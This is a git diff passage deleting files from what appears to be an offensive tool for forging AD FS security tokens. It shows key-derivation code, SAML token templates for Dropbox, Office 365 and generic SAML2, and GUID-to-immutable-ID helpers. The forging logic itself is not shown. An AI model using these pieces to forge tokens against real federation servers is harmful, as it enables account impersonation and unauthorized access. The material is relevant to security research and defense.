- value_bin = utils.int_to_bytes(1, value)
- if not 1 <= len(value_bin) <= 4:
- return False
- return True
-
- def derive(self, key_material):
- if self._used:
- raise AlreadyFinalized
-
- utils._check_byteslike("key_material", key_material)
- self._used = True
-
- # inverse floor division (equivalent to ceiling)
- rounds = -(-self._length // self._algorithm.digest_size)
-
- output = [b'']
-
- # For counter mode, the number of iterations shall not be
- # larger than 2^r-1, where r <= 32 is the binary length of the counter
- # This ensures that the counter values used as an input to the
- # PRF will not repeat during a particular call to the KDF function.
- r_bin = utils.int_to_bytes(1, self._rlen)
- if rounds > pow(2, len(r_bin) * 8) - 1:
- raise ValueError('There are too many iterations.')
-
- for i in range(1, rounds + 1):
- h = hmac.HMAC(key_material, self._algorithm, backend=self._backend)
-
- counter = utils.int_to_bytes(i, self._rlen)
- if self._location == CounterLocation.BeforeFixed:
- h.update(counter)
-
- h.update(self._generate_fixed_input())
-
- if self._location == CounterLocation.AfterFixed:
- h.update(counter)
-
- output.append(h.finalize())
-
- return b''.join(output)[:self._length]
-
- def _generate_fixed_input(self):
- if self._fixed_data and isinstance(self._fixed_data, bytes):
- return self._fixed_data
-
- l_val = utils.int_to_bytes(self._length, self._llen)
-
- return b"".join([self._label, b"\x00", self._context, l_val])
-
- def verify(self, key_material, expected_key):
- if not constant_time.bytes_eq(self.derive(key_material), expected_key):
- raise InvalidKey
\ No newline at end of file
diff --git a/requirements.txt b/requirements.txt
deleted file mode 100644
index 4d15d54..0000000
--- a/requirements.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-cryptography==2.9.2
-lxml==4.9.1
-pyasn1==0.4.5
-signxml==2.6.0
-six==1.12.0
diff --git a/templates/dropbox.xml b/templates/dropbox.xml
deleted file mode 100644
index 9204b58..0000000
--- a/templates/dropbox.xml
+++ /dev/null
@@ -1 +0,0 @@
-http://$AdfsServer/adfs/services/trusthttp://$AdfsServer/adfs/services/trust$EmailAddressDropbox$EmailAddressrobinurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
\ No newline at end of file
diff --git a/templates/o365.xml b/templates/o365.xml
deleted file mode 100644
index b175e0f..0000000
--- a/templates/o365.xml
+++ /dev/null
@@ -1 +0,0 @@
-$TokenCreated$TokenExpiresurn:federation:MicrosoftOnlineurn:federation:MicrosoftOnline$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearer$UPN$NameIdentifierfalseurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearerurn:oasis:names:tc:SAML:1.0:assertionhttp://schemas.xmlsoap.org/ws/2005/02/trust/Issuehttp://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey
diff --git a/templates/saml2.xml b/templates/saml2.xml
deleted file mode 100644
index 263daab..0000000
--- a/templates/saml2.xml
+++ /dev/null
@@ -1 +0,0 @@
-http://$AdfsServer/adfs/services/trusthttp://$AdfsServer/adfs/services/trust$NameID$RPIdentifier$Assertionsurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
\ No newline at end of file
diff --git a/utils.py b/utils.py
deleted file mode 100644
index 66dd843..0000000
--- a/utils.py
+++ /dev/null
@@ -1,49 +0,0 @@
-import random
-import string
-import sys
-import base64
-
-
-def random_string():
- return '_' + ''.join(random.choices(string.ascii_uppercase + string.digits, k=6))
-
-
-def new_guid(stream):
- guid = []
- guid.append(stream[3] << 24 | stream[2] << 16 | stream[1] << 8 | stream[0])
- guid.append(stream[5] << 8 | stream[4])
- guid.append(stream[7] << 8 | stream[6])
- guid.append(stream[8])
- guid.append(stream[9])
- guid.append(stream[10])
- guid.append(stream[11])
- guid.append(stream[12])
- guid.append(stream[13])
- guid.append(stream[14])
- guid.append(stream[15])
- return guid
-
-
-def encode_object_guid(guid):
- guid = guid.replace('}', '').replace('{', '')
- guid_parts = guid.split('-')
- hex_string = guid_parts[0][6:] + guid_parts[0][4:6] + guid_parts[0][2:4] + guid_parts[0][0:2] + guid_parts[1][2:] + guid_parts[1][0:2] + guid_parts[2][2:] + guid_parts[2][0:2] + guid_parts[3] + guid_parts[4]
- hex_array = bytearray.fromhex(hex_string)
- immutable_id = base64.b64encode(hex_array)
- return immutable_id
-
-
-def die():
- sys.exit()
-
-
-def print_intro():
-
- print(' ___ ____ ___________ ____')
- print(' / | / __ \/ ____/ ___/____ ____ ____ / __/')
- print(' / /| | / / / / /_ \__ \/ __ \/ __ \/ __ \/ /_ ')
- print(' / ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/ ')
- print('/_/ |_/_____/_/ /____/ .___/\____/\____/_/ ')
- print(' /_/ \n')
- print('A tool to for AD FS security tokens')
- print('Created by @doughsec\n')